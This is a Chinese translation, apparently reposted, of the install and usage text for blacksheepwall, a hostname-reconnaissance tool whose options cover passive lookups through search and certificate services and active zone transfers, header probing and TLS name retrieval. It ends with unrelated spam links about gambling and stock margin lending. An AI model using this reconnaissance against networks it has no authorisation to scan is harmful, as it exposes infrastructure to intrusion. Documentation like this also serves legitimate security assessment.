安裝

你可以直接下載編譯好的二進制文件運行并安裝它。如果你的系統已經安裝好了Go語言環境并配置好了工作區,那么你也可以直接通過以下命令下載安裝:

$ go get github.com/tomsteele/blacksheepwall

使用

Usage: blacksheepwall [options] <ip address or CIDR> 命令選項:  -h, --help            顯示幫助信息并退出  -version              顯示當前版本信息并退出  -debug                啟用調試并顯示從任務返回的錯誤。  -config               包含以下任何選項的YAML文件的位置。                        連字符使用下劃線代替 (例如 bing-html, bing_html).                        沒有參數的選項為布爾值應該使用true/false表示(例如bing_html:true)  -timeout              SOCKET連接的最大超時時間(以秒為單位)[默認.5秒]  -concurrency <int>    最大并發任務數 [默認:100]  -server <string>      DNS服務器地址 [默認:“8.8.8.8”]  -input <string>       以行分隔的CIDR或IP地址文件  -ipv6                 尋找更多適用的AAAA記錄  -domain <string>      用于某些任務的目標域可以是單一的也可以是以行分隔的域名文件  -fcrdns               通過嘗試檢索先前確定的每個主機的A或AAAA記錄來驗證結果  -parse <string>       通過從先前掃描的文件中解析JSON來生成輸出  -validate             使用符合RFC的正則表達式驗證主機名 Passive:  -dictionary <string>  嘗試檢索以行分隔文件中子域的CNAME和A記錄  -ns                   查找域的所有域名服務器的IP和主機名  -mx                   查找域的任何mx記錄的ip和hostmame。  -yandex <string>      提供了一個Yandex搜索XML API url,使用Yandex                       搜索“rhost:”查找目標域的子域  -bing <string>        提供了一個base64編碼的API密鑰,使用必應搜索                       API的'ip:'來查找每個ip的主機名,而                       'domain:'來查找域的ips/hostnames  -bing-html            使用Bing搜索“ip:”來查找每個ip的主機名,而                       'domain:'查找域的ips/hostnames                         -shodan <string>      提供了一個Shodan API密鑰,使用Shodan的API'/dns/reverse'來查找每個IP的主機名                       '/shodan/host/search'查找一個域的ips/hostnames,對所有IP都進行一次調用                         -reverse              檢索每個主機的PTR  -viewdns-html         使用viewdns.info的IP反向查找功能查詢zhu'ji主機,請謹慎使用否則會被封殺  -viewdns <string>     使用viewdns.info的API和IP反向查找功能查找每個主機。  -logontube            使用logontube.com的API查找主機和(或)域,截至本次發布                       該網站已被關閉  -exfiltrated          查找從exfiltrated.com的主機名搜索返回的主機名  -censys <string>      搜索censys.io域。名稱的收集來自于這個搜索的每個主機的TLS證書。該命令選項后跟的字符串為API ID和Secret并用冒號分隔  -crtsh                在crt.sh中搜索與所提供域相關的證書  -vt                   在提供域的子域名中搜索VirusTotal  -srv                  查找DNS SRV記錄并檢索關聯的主機名/ IP信息  -cmn-crawl <string>   搜索commoncrawl.org域的子域。提供索引要使用參數                       。例如:“CC-MAIN-2017-04-index” Active:  -axfr                 嘗試域的區域傳輸  -headers              對每個主機執行HTTP(s)請求并查找                       可能位置中的主機名  -tls                  嘗試從TLS證書中檢索名稱                       (公用名稱和主題備用名稱) Output Options:  -clean                打印結果為每個主機的主機名  -csv                  打印結果為csv格式  -json                 打印結果為JSON

*參考來源:GitHub,FB小編 secist 編譯,轉載于FreeBuf

]]>
http://www.aycelz.tw/1253.html/feed 0
盈讯足球比分网
四川熊猫麻将手机下 聚财略配资 什么股票配资平台安全 分析足球比赛的软件 福州股票配资亅选 股票持仓价 创业板股票指数 金证通配资 熊猫四川麻将官方安卓手机版 弈乐贵州捉鸡麻将安卓版